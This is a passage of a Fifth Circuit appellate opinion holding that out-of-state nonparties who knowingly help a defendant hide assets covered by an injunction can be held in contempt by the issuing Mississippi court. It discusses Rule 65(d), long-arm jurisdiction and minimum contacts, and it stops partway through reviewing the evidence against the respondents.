W. Wayne Drinkwater, Lake, Tindall, Hunger & Thackston, Greenville, Miss., for First Nat. Bank.
Before CLARK, Chief Judge, GAR-WOOD, and HILL, Circuit Judges.
CLARK, Chief Judge:
I
Nonparties who reside outside the territorial jurisdiction of a district court may be subject to that court’s jurisdiction if, with actual notice of the court’s order, they actively aid and abet a party in violating that order. This is so despite the absence of other contacts with the forum. We, therefore, affirm the judgment of the district court, holding that three of the respondents, D & K Motor Sports, Inc. (“D & K”), its owner, Johnson (collectively referred to as “Johnson”), and Currey were in contempt of court. We affirm the holding that a fourth respondent, the First National Bank of Mount Vernon, Texas (“the Bank”), did not aid or abet the defendant. We also affirm the court’s rulings concerning attorney’s fees and pretermit any ruling on the order permitting substitution of collateral for Johnson’s supersedeas bond.
II
This appeal is the culmination of a series of proceedings directed toward halting the dissipation and secretion of assets that are the subject of the underlying suit. For the purposes of this appeal, to the extent that these facts relate to the events between MacKay and the Waffenschmidts, which are the subject of ongoing proceedings in the district court, we will assume as true the facts as stated in the Waffenschmidts’ complaint. To the extent these facts relate to the district court’s findings concerning the appellants, Currey, Johnson, and the Bank, we construe the evidence in a light most favorable to upholding the court’s verdict. See Glasser v. United States, 315 U.S. 60, 80, 62 S.Ct. 457, 469, 86 L.Ed. 680 (1942).
The Waffenschmidts paid MacKay $4.5 million for stock in a Mississippi corporation and subsequently sued him for securities fraud. The court issued a temporary restraining order (TRO) on March 16, 1983, which enjoined MacKay and “all persons acting in concert” with him from:
[transferring, concealing, or disposing of any funds received by them from [the Waffenschmidts], or any property acquired with such proceeds ... [or] permitting the concealment, transfer, disposal, secreting, dissipation, or encumbering of such assets; provided, however, that this order shall not preclude [those subject to this order] ... from carrying on or engaging in the usual and ordinary conduct of business____
The court extended the TRO through May 24, 1983. On May 27, after a three day hearing, the court granted a preliminary injunction which continued the interdictions of the TRO and also required MacKay to pay $430,000 of the proceeds from the stock sale into the court.
MacKay was unable to deposit these funds with the court because he had transferred them in the form of United States Treasury Notes with attached interest coupons to Currey ($103,500), Johnson ($100,-000), and the Bank ($230,000) during the spring of 1983. These respondents independently received the proceeds in Texas sometime between March and June.
The court commenced a hearing on July 23, requiring MacKay to show cause why he should not be held in contempt. During the course of this hearing, plaintiffs deposed Currey, Johnson, and the Bank’s president, Greer. The court found MacKay guilty of civil contempt and ordered him jailed on August 22 until he complied with the court’s order. MacKay remained in jail until November 10, at which time the court released him on the ground that further incarceration would be punitive.
Meanwhile, the Waffenschmidts had attempted to retrieve these funds from Currey, Johnson, and the Bank. On March 21, 1983, plaintiffs served the Bank with a copy of the TRO, and on March 25 with notice of its extension. The Bank received a copy of the preliminary injunction on July 25. Currey and Johnson received copies of the TRO and preliminary injunction shortly after their depositions in July. The Waffenschmidts sent each respondent a copy of the Order of Contempt against MacKay by September 2.
Following the release of MacKay, the court issued an order on November 14 to Currey, Johnson, and the Bank to show cause why they were not in contempt. The court also ordered them to turn over the proceeds they had received from MacKay. These respondents moved to quash the order, alleging lack of jurisdiction among their defenses.
The court held a hearing on December 2, and Currey, Johnson, and the Bank entered special appearances to contest the court’s jurisdiction. MacKay, Currey, Johnson, and Greer testified and had full opportunity to present evidence to support their positions. The court found that none of these respondents had contacts within Mississippi to subject them to traditional in personam jurisdiction. It found, however, that Currey and Johnson had notice of the court’s orders, acted as agents, servants, and/or employees of MacKay, and acted in active concert and participation with him in dissipating the stock proceeds.
The court thus held that they were subject to the court’s jurisdiction as persons enjoined by the court’s order. Upon evaluating all the evidence presented at the hearing, the court found Currey and Johnson in contempt and imposed compensatory fines on Currey for $110,340.09 and on Johnson for $106,840.09. These amounts included a $6,840.09 award of attorney’s fees against each.
In contrast, the court found that while the Bank had received notice of the TRO and acted negligently in its transactions with MacKay, it had not acted as MacKay’s agent in active concert or participation with him. Therefore, the court held it lacked jurisdiction over the Bank, and could not hold it in contempt. The court declined to award either the Bank or the Waffenschmidts attorney’s fees against the other party.
Currey and Johnson filed timely notice of appeal. The Waffenschmidts cross-appealed, seeking a civil contempt order and attorney’s fees against the Bank. The Bank also cross appealed, petitioning for attorney’s fees against the Waffenschmidts. Finally, upon application of Johnson, the court allowed him to pledge approximately $31,000 worth of boats, motors, and trailers to serve as security pending this appeal, in place of the traditional supersedeas bond for the full $106,840.09. The Waffenschmidts also appeal this substitution.
Ill
Currey, Johnson, and the Bank assert that the District Court for the Northern District of Mississippi lacks jurisdiction to hold these Texas residents in contempt of court. The court held that the respondents lacked sufficient contacts to exercise traditional in personam jurisdiction over them. None were named as parties in the underlying suit or had any contacts with Mississippi, and all lived beyond the territorial limits for service of process as prescribed in Fed.R.Civ.P. 4(f).
Currey and Johnson contend that the court’s action in holding them in contempt violates International Shoe Co. v. Washington, 326 U.S. 310, 66 S.Ct. 154, 90 L.Ed. 95 (1945), requiring that before a court may assert jurisdiction over a person, the person must have sufficient minimum contacts with the forum such that “maintenance of the suit does not offend ‘traditional notions of fair play and substantial justice.’ ” Id. at 316, 66 S.Ct. at 158, quoting, Milliken v. Meyer, 311 U.S. 457, 463, 61 S. Ct. 339, 343, 85 L.Ed. 278 (1940).
The district court evaluated jurisdiction of Currey, Johnson, and the Bank pursuant to Fed.R.Civ.P. 65(d), which states in pertinent part:
Every order granting an injunction and every restraining order ... is binding only upon the parties to the action, their officers, agents, servants, employees, and attorneys, and upon those persons in active concert or participation with them who receive actual notice of the order by personal service or otherwise.
We must determine whether knowing violation of a court’s injunction order by the agent of a party who aids and abets that party’s violation of the order permits jurisdiction when no other contacts exist with the forum. We conclude that such jurisdiction is necessary to the proper enforcement and supervision of a court’s injunctive authority and offends no precept of due process.
A
At the outset of our analysis, we note that the court exercised two types of jurisdiction. Only the second type is contested in this appeal.
Initially, the court asserted jurisdiction to determine whether it had personal jurisdiction of the parties. The power of a court to exercise this preliminary jurisdiction is well settled, and respondents do not dispute that the court had such authority. See United States v. United Mine Workers, 330 U.S. 258, 293, 67 S.Ct. 667, 695-96, 91 L.Ed. 884 (1947); Familia de Boom v. Arosa Mercantil, S.A., 629 F.2d 1134, 1137 (5th Cir.1980); Atlantic Las Olas, Inc. v. Joyner, 466 F.2d 496, 498 (5th Cir.1972); 13 Wright, Miller & Cooper, Federal Practice and Procedure, Jurisdiction 2d, § 3536 (1984). Instead, they attack the court’s determination that it had personal jurisdiction of respondents so as to properly hold Currey and Johnson in contempt. This latter finding is the subject of our further analysis.
B
Courts possess the inherent authority to enforce their own injunctive decrees. United States v. Hall, 472 F.2d 261, 267 (5th Cir.1972) (“Rule 65(d) as a codification rather than a limitation of courts’ common-law powers, cannot be read to restrict the inherent power of a court to protect its ability to render a binding judgment.”); Berry v. Midtown Service Corp., 104 F.2d 107, 110 (2d Cir.1939). Berry stated:
Courts do not sit for the idle ceremony of making orders and pronouncing judgments, the enforcement of which may be flouted, obstructed, and violated with impunity, with no power in the tribunal to punish the offender. [Federal] courts, equally with those of the state, are possessed of ample power to protect the administration of justice from being thus hampered or interfered with. Nor is this power in any wise limited by [the predecessor to 18 U.S.C. § 401].
104 F.2d at 110-11, quoting, Lineker v. Dillon, 275 F. 460 (D.N.D.Cal.1921). The mandate of an injunction issued by a federal district court runs nationwide, Leman v. Krentler-Amold Hinge Last Co., 284 U.S. 448, 451, 52 S.Ct. 238, 240, 76 L.Ed. 389 (1932), and “[violation of an injunctive order is cognizable in the court which issued the injunction regardless of where the violation occurred.” Stiller v. Hardman, 324 F.2d 626, 628 (2d Cir.1963).
Enforcement of an injunction through a contempt proceeding must occur in the issuing jurisdiction because contempt is an affront to the court issuing the order. See, e.g., Leman, supra, 284 U.S. at 452, 52 S.Ct. at 240 (Disobedience constituted contempt of the court which entered the decree____); Wilson v. United States, 26 F.2d 215, 218 (8th Cir.1928); Bedgood v. Cleland, 554 F.Supp. 513, 517 (D.Minn.1982).
[T]he power of a court to make an order carries with it the equal power to punish for a disobedience of that order, and the inquiry as to the question of disobedience has been, from time immemorial, the special function of the [ordering] court____ To submit the question of disobedience to another tribunal, be it a jury or another court, would operate to deprive the proceeding of half its efficiency____ [T]he sole adjudication of contempts, and the punishments thereof [belong] exclusively ... to each respective court.
In re Debbs, 158 U.S. 564, 594-95, 15 S.Ct. 900, 910, 39 L.Ed. 1092 (1895) (citations omitted).
A court may therefore hold an enjoined party in contempt, regardless of the state in which the person violates the court’s orders. Leman, 284 U.S. at 454, 52 S.Ct. at 241 (“This is one of the decencies of civilization that no one would dispute.”) Our research, however, has uncovered no cases which explicitly discuss whether a court may exercise jurisdiction over a non-party that knowingly aids and abets a violation of a court’s orders but lacks other contacts with the forum.
Alternative rationales support such jurisdiction. The first looks to the inherent power of the court to act, and does not rely on traditional in personam jurisdiction analysis. The second analyzes the respondents’ actions under International Shoe and its progeny to determine whether sufficient minimum contacts exist to exercise jurisdiction over them. There being significant support under both analyses, we hold that jurisdiction was proper.
C
An injunction binds not only the parties subject thereto, but also nonparties who act with the enjoined party. Ex Parte Lennon, 166 U.S. 548, 555, 17 S.Ct. 658, 660-61, 41 L.Ed. 1110 (1897); McGraw-Edison Co. v. Preformed Line Products Co., 362 F.2d 339, 344 (9th Cir.1966); Alemite Mfg. Corp. v. Staff, 42 F.2d 832 (2d Cir.1930); Fed.R.Civ.P. 65(d). Rule 65(d):
is derived from the common-law doctrine that a decree of injunction not only binds the parties defendant but also those identified with them in interest, in “privity” with them, represented by them or subject to their control. In essence ... defendants may not nullify a decree by carrying out prohibited acts through aiders and abettors, although they were not parties to the original proceeding.
Regal Knitwear Co. v. National Labor Relations Board, 324 U.S. 9, 14, 65 S.Ct. 478, 481, 89 L.Ed. 661 (1945). See also Ex parte Lennon, 166 U.S. at 554, 17 S.Ct. at 660; Reich v. United States, 239 F.2d 134, 137 (1st Cir.1956), cert. denied, 352 U.S. 1004, 77 S.Ct. 563, 1 L.Ed.2d 549 (1957); Alemite, supra at 832.
This principle could easily be thwarted if a court could only enforce its injunctions over nonparty aiders and abettors who resided within the court’s territory for service of process. The nationwide scope of an injunction carries with it the concomitant power of the court to reach out to nonparties who knowingly violate its orders. See Ex parte Lennon, 166 U.S. at 555, 17 S.Ct. at 660-61; Alemite, 42 F.2d at 832. Cf. Wilgus v. Paterson, 335 F.Supp. 1385, 1389-90 (D.Del.1972). MacKay’s actions in this case are a paradigm of how a defendant can enlist the aid of out-of-state individuals in an attempt to frustrate the orders of the district court. When Currey and Johnson knowingly participated in his scheme to dissipate the funds they equally knowingly subjected themselves to the jurisdiction of that court.
When ... the respondents undertook to render this judgment nugatory and valueless by lending their aid to remove the only tangible property of the judgment debtor beyond the reach of process, they were as guilty of violating the court’s order as though it had forbidden their acts in positive terms, and under well-established principles their acts constituted a contempt of the court.
Lineker, 275 F. at 470. Nothing respondents suggest persuades us to the contrary.
IV
Respondents admit that a federal court’s injunction is effective anywhere within the United States, but contend this is true only as to parties over whom the court has traditional in personam jurisdiction. If the district court lacked personal jurisdiction over respondents, they argue that it also lacked power to hold them in contempt and to implicitly decide the ownership interests of the property in question. In reliance on the district court’s statement that it lacked “traditional in personam jurisdiction,” respondents thus conclude that the court could not cite them for contempt. To support their argument, respondents first proffer case authority and then focus on the Federal Rules of Civil Procedure.
A
Respondents first assert that Heyman v. Kline, 444 F.2d 65 (2d Cir.1971), controls the decision in this case. Heyman, however, is clearly distinguishable from the present controversy. Heyman stated that if a nonparty asserts an independent interest in the subject property and is not merely acting on behalf of the defendant, then Rule 65(d) does not authorize jurisdiction over the party. In contrast, the district court found that Currey and Johnson had no independent interest in the property, and that they merely acted as agents for MacKay in dissipating the funds. As will be shown in Part VI below, the district court’s findings are not clearly erroneous. The district court has the power to prevent MacKay from secreting the funds, and it also may enjoin his aiding and abetting agents. The provisions of the district court’s injunction cover Currey and Johnson because they failed to demonstrate an independent interest in the property. Heyman fails to support respondent’s argument.
Respondents also rely on Zenith Radio Corp. v. Hazeltine Research Inc., 395 U.S. 100, 89 S.Ct. 1562, 23 L.Ed.2d 129 (1969) for the proposition that no jurisdiction lies to grant in personam relief against one not a party and not served with process. The Supreme Court stated:
It is elementary that one is not bound by a judgment in personam resulting from litigation which he is not designated as a party or to which he has not been made a party by service of process, [citation omitted.] The consistent constitutional rule has been that a court has no power to adjudicate a personal claim or obligation unless it has jurisdiction over the person of the defendant.
395 U.S. at 110, 89 S.Ct. at 1569, 23 L.Ed.2d at 140.
We again find no conflict between respondent’s authority and our decision in this appeal. By actively aiding and abetting MacKay, Currey and Johnson placed themselves within the personal jurisdiction of the district court. Zenith does not deny jurisdiction to a court whose order is so contempted. Rather, it supports our decision. This is shown by the Court’s statement that under Rule 65(d), “a nonparty with notice cannot be held in contempt until shown to be in active concert or participation” with an enjoined party. Id. at 112, 89 S.Ct. at 1570 (emphasis supplied).
The district court in Zenith failed to make the determination of active concert and participation in a proceeding in which the nonparty was allowed to participate. In the case at bar, the respondents were made parties to the show cause order and were given an opportunity to prove that they did not aid or abet MacKay. When the court decided that Currey and Johnson fell within the ambit of its injunction, it could then exercise jurisdiction over them and adjudicate whether they violated the court’s injunction.
Currey and Johnson next contend that Stiller, supra, cannot be extended beyond its holding which they insist stands merely for the proposition that an injunction cannot be summarily registered in a new forum. They argue that when an injunction order is transferred into a different forum, the defendants have a right to a plenary hearing on the merits. Furthermore, respondents cite the portion of Stiller in which the New York court (the new forum) acknowledged that the Ohio court (the original forum that issued the injunction) lacked jurisdiction over the New York respondents who were “privies” with the enjoined party. The Second Circuit implicitly rejected this argument, however, when it stated:
Violation of an injunctive order is cognizable in the court which issued the injunction, regardless of where the violation occurred____ [T]he Ohio district court had power to punish a violative infringement though the infringement took place in New York. There is therefore no such need for registration of injunctive orders as there is for registration of the money judgment.
324 F.2d at 628 (citation omitted). We agree with the Second Circuit and hold that a court may assert jurisdiction over persons who, with knowledge of the court’s orders, actively aid and abet an enjoined party.
Respondents finally contend that Panther Pumps & Equipment Co., Inc. v. Hydrocraft, Inc., 566 F.2d 8 (7th Cir.1977), conflicts with our holding. There, the district court enjoined Hydrocraft and two of its officers from infringing a patent owned by Panther Pumps. The third officer, Beck, who was not enjoined, shipped the assets to a distant state and commenced operations as a new business entity, Universal. Panther Pumps petitioned the court to hold Beck in contempt and to substitute the new corporation as a party subject to the original injunction.
The court held that it had jurisdiction to hold Beck in contempt, because as an officer of Hydrocraft, he was subject to the terms of the injunction. In contrast, the court refused to substitute Universal as a party to the original injunction because the court lacked personal jurisdiction of the new entity.
Respondents contend that the lack of jurisdiction of Universal corresponds to a similar deficiency in the present case. We disagree. The Seventh Circuit carefully noted that the district court lacked jurisdiction over Universal because only Beck had been subject to the show cause order. The district court did not make a finding that the corporation had knowingly violated the court’s injunction. Therefore, the court in Panther Pumps could not assert jurisdiction of Universal. In contrast, the court here brought both Currey and Johnson into the show cause hearing, and specifically found the requisite knowing violation of its order. The court thus properly asserted persona] jurisdiction to adjudicate its contempt orders.
B
Respondents additionally rely on the Federal Rules of Civil Procedure to support their argument. First, they contend that Rule 65(d) cannot provide jurisdiction and, in fact, prevents a court from asserting more jurisdiction than that which it already possesses. They rely on Fed.R.Civ.P. 82 for support. Rule 82 states in pertinent part, “[tjhese rules shall not be construed to extend or limit the jurisdiction of the United States district courts or the venue of actions therein.” Respondents thus argue that the district court could not assert jurisdiction pursuant to Rule 65(d) unless it independently satisfied the requirements for in personam jurisdiction.
We do not rely on Rule 65(d) to extend the jurisdiction of the district courts beyond that power which the courts inherently possess. As Regal-Knitwear observes, Rule 65(d) merely codified the common law power of a court to enforce its own injunctions. It is that common law power coupled with the knowing, voluntary acts of Currey and Johnson rather than any power emanating from Rule 65(d) that form the basis for the district court’s proper exertion of personal jurisdiction over them in this contempt proceeding.
Respondents next contend that Fed.R.Civ.P. 4(f) limits the reach of a court to enforce its orders by use of civil contempt to a maximum of 100 miles beyond the forum state’s borders. They rely on the portions of Rule 4(f) emphasized below:
(f) Territorial Limits of Effective Service.
All process other than a subpoena may be served anywhere within the territorial limits of the state in which the district court is held, and, when authorized by a statute of the United States or by these rules, beyond the territorial limits of that state. In addition, persons who are brought in as parties pursuant to Rule 14, or as additional parties to a pending action or a counterclaim or cross-claim therein pursuant to Rule 19, may be served ... at all places outside the state but within the United States that are not more than 100 miles from the place in which the action is commenced, or to which it is assigned or transferred for trial; and persons required to respond to an order of commitment for civil contempt may be served at the same places.
Respondents’ reading of Rule 4(f) is too restricted. The 100 mile limitation applies to an order of commitment for civil contempt, not for an order to show cause why a party should not be held in contempt. “Rule 4(f) sets limits only on the range of service of the order of commitment, which should be carefully distinguished from the other [phases of] the contempt proceeding, ... including the order to show cause why a party should not be held in contempt____” 4 Wright & Miller, Federal Practice and Procedure, § 1129 (1969). If respondents’ interpretation was correct, then a court could not issue a show cause order to a party that violated the court’s orders beyond the 100 mile limit. As demonstrated earlier, however, courts clearly have the power to serve a defendant to show cause wherever the alleged contemnor currently resides. Leman, supra, 284 U.S. at 451, 52 S.Ct. at 240.
The Federal Rules of Civil Procedure do not expand or restrict the jurisdiction that the court otherwise possesses. See Mississippi Publishing Corp. v. Murphree, 326 U.S. 438, 445, 66 S.Ct. 242, 246, 90 L.Ed. 185 (1946); Vaughan v. Empresas Hondurenas, S.A., 171 F.2d 46, 47 (5th Cir.1948); United Office & Professional Workers of America v. Smiley, 75 F.Supp. 695, 699 (E.D.Pa.1946); Fed.R.Civ.P. 82. Because the court had jurisdiction of Currey and Johnson as a result of their knowing and voluntary participation with the contumacious party, service of process was not prohibited by rule 4(f).
Indeed, Rule 4(f) allows extraterritorial service if authorized by statute or “these rules.” Rule 4(e) provides in part:
Whenever a statute or rule of court of the state in which the district court is held provides ... for service of a summons, or of a notice, or of an order in lieu of summons upon a party not an inhabitant or found within the state, ... service may ... be made under the circumstances and in the manner prescribed in the statute or rule.
We therefore examine whether Mississippi statutory law would permit service upon these respondents, and if so, whether due process permits the exercise of that jurisdiction under the facts of this case. Prejean v. Sonatrach, Inc., 652 F.2d 1260, 1264 & n. 3 (5th Cir.1981). We treat the latter part of this issue in Part V of this opinion.
Mississippi allows for service upon nonresidents pursuant to Miss.Code Ann. § 13-3-57 (Supp.1984), which provides in pertinent part:
Any nonresident person ... or ... corporation not qualified under the constitution and laws of this state as to doing business herein, who shall make a contract with a resident of this state to be performed in whole or in part by any party in this state,-or who shall commit a tort in whole or in part in this state against a resident ... shall by such act or acts be deemed to be doing business in Mississippi.
Mississippi allows for service on nonresidents who commit acts outside the state with foreseeable effects resulting within the forum. Mississippi Interstate Express, Inc. v. Transpo, Inc., 681 F.2d 1003, 1007 (5th Cir.1982), cited with approval in, First Mississippi National Bank v. S & K Enterprises of Jackson, Inc., 460 So.2d 839, 843 (Miss.1984). In Mississippi Interstate, the court found that a breach of Mississippi-centered contract occurring outside the state caused the nonpayment in Mississippi of amounts due there. This constituted sufficient contact with the forum to permit jurisdiction of the nonresidents. 681 F.2d at 1012. Cf. First Mississippi, 460 So.2d at 840-43. Similarly, the respondents in the present case intentionally committed actions in Texas which resulted in the nonpayment of amounts due into the court located in Mississippi.
This Mississippi statute does not require that the part of the tort which causes injury occur in Mississippi. Rather, only a part of the tort must occur in the state. Breedlove v. Beech Aircraft Corp., 334 F.Supp. 1361, 1365 (D.Miss.1971). When MacKay took funds beyond the borders of the state in furtherance of his plan to secrete the funds with the knowledge and consent of Currey and Johnson, this action satisfied the in-state requirement as far as respondents are concerned. We therefore hold that the Mississippi statutes would permit the assertion of jurisdiction over respondents based on the facts of this case.
We observe in this connection that the Waffenschmidts’ suit against MacKay was grounded in the Securities Act of 1933 and the Securities Exchange Act of 1934, each of which provide for nationwide service of process. 15 U.S.C. §§ 77v(a), 78aa. In reaching our decision, however, we do not reach the issue whether such nationwide jurisdictional provisions would of themselves establish jurisdiction over alleged non-party contemnors. Though the district court found it had jurisdiction under the securities acts to issue the TRO and preliminary injunction, it made no such findings as to jurisdiction over Currey or Johnson, and the litigants have not argued this question. Instead, we find that jurisdiction exists based on both the inherent power of a court to reach those who knowingly contemn its orders and the minimum contacts analysis set out below.
V
Currey and Johnson vigorously maintain that the assertion of jurisdiction over them violates minimum due process requirements as established by International Shoe and its progeny. A finding, however, that a nonparty has aided a party in knowingly violating an injunction satisfies due process. We reach this conclusion under a two part analysis: first, through an examination of the inherent powers of a court, and second, through traditional in person-am jurisdiction analysis under International Shoe.
A
Haling a person into court only upon finding that the nonparty has aided in knowingly violating an injunction fulfills traditional notions of fair play and substantial justice because it is foreseeable that the person would be required to respond in that forum. See World Wide Volkswagen Corp. v. Woodson, 444 U.S. 286, 297, 100 S.Ct. 559, 567, 62 L.Ed.2d 490 (1980). By knowingly aiding MacKay, Currey and Johnson could reasonably anticipate that they would have to justify their actions to the court in Mississippi or suffer contempt remedies. See id.; Kulko v. California Superior Court, 436 U.S. 84, 97-98, 98 S.Ct. 1690, 1699-1700, 56 L.Ed.2d 132 (1978); Shaffer v. Heitner, 433 U.S. 186, 216, 97 S.Ct. 2569, 2586, 53 L.Ed.2d 683 (1977).
Another factor for consideration is the relative burdens on the parties in litigating in a distant forum. The inconvenience to these respondents in having to defend themselves in a distant forum is balanced against the greater burden on the judicial system in having to conduct duplicitous proceedings in both Mississippi and Texas. Moreover, the Texas court cannot benefit from the Mississippi court’s intimate familiarity with the ease. Because the Mississippi court’s injunction is not registerable in Texas, the Texas court would have to retry the evidence. See Stiller, 324 F.2d at 628. The plaintiffs also suffer a heavy burden in having to commence actions wherever the enjoined party and his agents choose to secrete the enjoined funds. Because respondents were required to defend themselves against the contempt charge only upon a finding that they knowingly aided in a violation of the court’s orders, any inconvenience they must suffer resulting from litigating in a distant forum only results from their own actions. The balance of burden clearly preponderates in favor of jurisdiction in the court whose injunction is knowingly contempted.
Finally, a significant if not controlling factor in our decision is the special interest of the forum court in litigating the matter. The Supreme Court gave this factor great weight in McGee v. International Life Insurance Co., 355 U.S. 220, 78 S.Ct. 199, 2 L.Ed. 223 (1957). In McGee, the California court exefcised jurisdiction of an Arizona corporation whose only contacts with the forum were the mailing of one insurance policy and several premium notices into the state. In asserting jurisdiction, the court relied on California’s significant interest in providing relief to its residents when insurance companies refused to pay claims. The Court also noted the inconvenience to the plaintiffs in having to chase the defendant to a distant state Id. at 223, 78 S.Ct. at 201.
We find in the present appeal that the special interest of the district court was at least as strong as that in McGee. The manifest need for a court to protect and enforce its own judgments is beyond doubt. The loss of such power would severely impair the integrity and authority of our judicial system. A foreign court could not assert as strong an interest in ensuring that the issuing court’s injunction was enforced.
Thus, upon consideration of the foreseeability of having to answer to the enjoining forum, the relative convenience of the parties, and the special interest of the forum court in litigating the matter, we conclude that traditional notions of due process are not offended by permitting jurisdiction of these respondents.
B
We turn now to an analysis of traditional in personam jurisdiction and conclude that despite the district court’s conclusion that respondents possessed insufficient contacts, the court could assert traditional in personam jurisdiction over Currey and Johnson. We accept the court’s conclusions that the sole “contact” these respondents had with Mississippi was their acceptance and dissipation of the enjoined funds from MacKay in Texas as his agents, with knowledge of the court’s orders. We hold that, as a matter of law, this conduct is sufficient to satisfy the due process requirements as announced in International Shoe and its progeny.
Originally, due process required the “presence” of the person in the state before a court possessed such jurisdiction. Pennoyer v. Neff, 95 U.S. (5 OTTO) 714, 24 L.Ed. 565 (1877). International Shoe expanded this rule by permitting jurisdiction if the person had sufficient minimum contacts with the forum' “such that maintenance of the suit does not offend ‘traditional notions of fair play and substantial justice.’ ” 326 U.S. at 316, 66 S.Ct. at 158.
While state service of process statutes may not reach beyond this limit, Prejean, 652 F.2d at 1264, “due process does not compel the states to assert jurisdiction this far.” Id. See also Perkins v. Benguet Consolidated Mining Co., 342 U.S. 437, 440, 72 S.Ct. 413, 415, 96 L.Ed. 485 (1952). We determined earlier, however, that the Mississippi long-arm statute permits jurisdiction over these respondents. We will additionally examine whether the assertion of personal jurisdiction over Currey and Johnson satisfies due process. Whether minimum contacts exist depends on the facts of each case. Kulko, 436 U.S. at 92, 98 S.Ct. at 1697.
Respondents allege that-because they committed no act in Mississippi, they are not subject to the jurisdiction of courts located in that state, including United States district courts. As Mississippi Interstate illustrates, courts may assert jurisdiction of a person who acts outside the forum, but causes effects within it. As we stated in Prejean at 1268 (footnotes omitted):
When a defendant purposefully avails himself of the benefits and protection of the forum’s laws — by engaging in activity in the state or engaging in activity outside the state that has reasonably foreseeable consequences in the state— maintenance of the lawsuit does not offend traditional notions of fair play and substantial justice. Considerations such as the quality, nature, and extent of the activity in the forum, the foreseeability of the consequences within the forum from activities outside it, and the relationship between the cause of action and the contacts, relate to whether it can be said that the defendant’s actions constitute “purposeful availment.” In other words, a defendant’s activities in relation to the state indicate he is on notice that he could be haled into its courts.
The actions of Currey and Johnson satisfy these requirements. They purposefully engaged in activity outside Mississippi that would have the foreseeable and intended result of dissipating assets subject to marshalling in that forum. The jurisdictional issue turns solely on the consequences which their acts had in Mississippi. The court is not trying to assert general in personam jurisdiction over these respondents for causes of action unrelated to their actions; it merely is holding them responsible for the intended consequences which their nonforum activities had on the subject matter of the court’s order. See generally Thompson v. Chrysler Motors Corp., 755 F.2d 1162, 1170-71 (5th Cir.1985). When Currey and Johnson purposefully accepted assets from MacKay which they knew were subject to an injunction by the district court in Mississippi, they cannot now complain that it was unforeseeable or unreasonable for them to be haled before that court. Accord McGee, supra.
Prejean listed three factors to determine whether purposeful availment exists when an out-of-state act causes effects within the forum:
(1) the existence and degree of purposefulness with which the effect in that forum was created;
(2) whether the defendant has other substantial contacts with the forum unrelated to the suit; and
(3) the substantiality of the effect itself. 652 F.2d at 1269. Prejean also provided initial guidance in interpreting the interaction of these factors. We held that in all cases, the effect in the forum must have been purposeful. Satisfying this factor alone may justify the assertion of jurisdiction if the conduct is sufficiently intentional. If purposefulness is present but not very strong:
the presence of one or both of the other two factors becomes crucial. If the creation of the effect is at least purposeful and the effect substantial, no other contacts are needed. On the other hand, if the effect of minimally purposeful creation is not substantial, other substantial contacts must exist. In other words, the stronger the form of the purposefulness, the less substantial must be either the effect or the other contacts.
Id. (citations omitted).
Currey and Johnson intended that their actions would have the effect of placing funds outside the reach of the Mississippi forum. “Purposeful creation is strongest when the defendant intended the impact to be felt in the forum.” Id. at 1269 n. 18. See also Black v. Acme Markets, 564 F.2d 681, 685 (5th Cir.1977). See generally, Restatement (2d) Conflict of Laws, § 37 (noting also that jurisdiction may lie if it is reasonable); Scoles & Hay, Conflict of Laws § 8.23, at 289 (1982). Furthermore, intentionally violating a court’s orders has a substantial effect on the administration of justice in general, as well as the proper completion of the Waffenschmidts’ litigation in particular. Because their actions were intentional and the effects substantial, under Prejean, the lack of other contacts with Mississippi therefore does not defeat the exercise of jurisdiction.
VI
Currey and Johnson contend that even if the court had personal jurisdiction, its finding that they aided and abetted MacKay was clearly erroneous. Likewise, the Waffenschmidts contend that the finding that the Bank did not aid or abet MacKay was erroneous. We treat the evidence pertaining to each respondent individually, and conclude that in each instance, the record sufficiently supports the district court’s findings. We therefore find no clear error.
A. Currey
Currey admitted that he knew of the TRO and the preliminary injunction when he prematurely cashed the $103,500 T-Note and interest coupon in October, 1983. He claims, however, that he received the funds from MacKay in early March, 1983 in good faith without notice of the court’s orders. Accordingly, he asserts that he is a bona fide purchaser of the negotiable T-Note, and thus received good title to it. If true, then Currey asserts that he could negotiate the note even with knowledge of the court’s orders, due to the policy favoring the ready negotiability of government notes. See U.C.C. § 3-305. We need not decide this issue, however, because the district court implicitly rejected his claim of good faith by holding that he accepted the note with knowledge of the court’s orders.
The evidence amply supports this finding. According to Currey, he received the note from MacKay between March 1 and 10, which was before the TRO was issued by the district court on March 16. The Waffenschmidts, however, proved that MacKay did not receive the T-Notes from the Bank until March 18.
Currey claims he received the note in connection with an alleged oral contract to sell MacKay a Holiday Inn hotel. Currey had previously sold another hotel and had retained an attorney and executed a written contract evidencing the sale. In contrast, for the MacKay transaction Currey admitted that he never documented the transaction or disclosed the sale to his wife or children, who were co-owners of the hotel. Neither did he discuss the sale with his bank, which was financing a substantial renovation of the inn.
The sale was never consummated, so Currey never transferred title to the hotel to MacKay. Despite having received the $103,500 T-Note and coupon from MacKay on a transaction that was never completed, and with full notice of the court’s TRO, preliminary injunction, and contempt order against MacKay, Currey still prematurely cashed the T-Note in October of 1983 and applied the proceeds to the hotel renovations. However, he could not recall the name of the company to which he sold the T-Note and coupon. He again neglected to inform his banker that additional funds were being used for the hotel renovation.
Ample evidence therefore supports the finding that Currey did not receive the T-Note in good faith without notice of the court’s orders. The district court clearly could find that the “sale” of the Holiday Inn was a sham. Further, Currey admitted he cashed the note with full knowledge of the court’s orders. We find no clear error, then, in the court’s finding that Currey aided or abetted MacKay in dissipating the funds.
Currey contends, however, that the court based its findings solely on his lack of credibility as a witness. In its opinion, the district court invoked the rule of Dyer v. MacDougall, 201 F.2d 265, 268-69 (2d Cir.1952), which states that the demeanor of a witness who has a motive to deny may justify a belief that not only is his testimony not true, but that the truth is the opposite of the witnesses’ story.
As respondents correctly explain, the Dyer rule cannot serve as the sole evidence to carry the burden in a civil case. See Nishikawa v. Dulles, 356 U.S. 129, 137, 78 S.Ct. 612, 617, 2 L.Ed.2d 659 (1958). Plaintiffs must still prove that respondents aided or abetted MacKay through clear and convincing evidence. See Perfect Fit Industries, Inc. v. Acme Quilting Co., 646 F.2d 800, 809-10 (2d Cir.1981); Stringfellow v. Haines, 309 F.2d 910, 912 (2d Cir.1962).
Currey ignores, however, the abundance of other proof that the district court could have relied on to find that the alleged hotel sale was mere pretense. The district court did not expressly limit its findings to an invocation of the Dyer rule. This other proof, when viewed in conjunction with the Dyer rule, supports the finding that Currey aided and abetted MacKay. Accord Lineker v. Dillon, 275 F. at 463-64. We find no error here.
B. Johnson
Johnson also raises the Dyer argument, contending that the evidence was insufficient to support an aiding or abetting finding. We disagree.
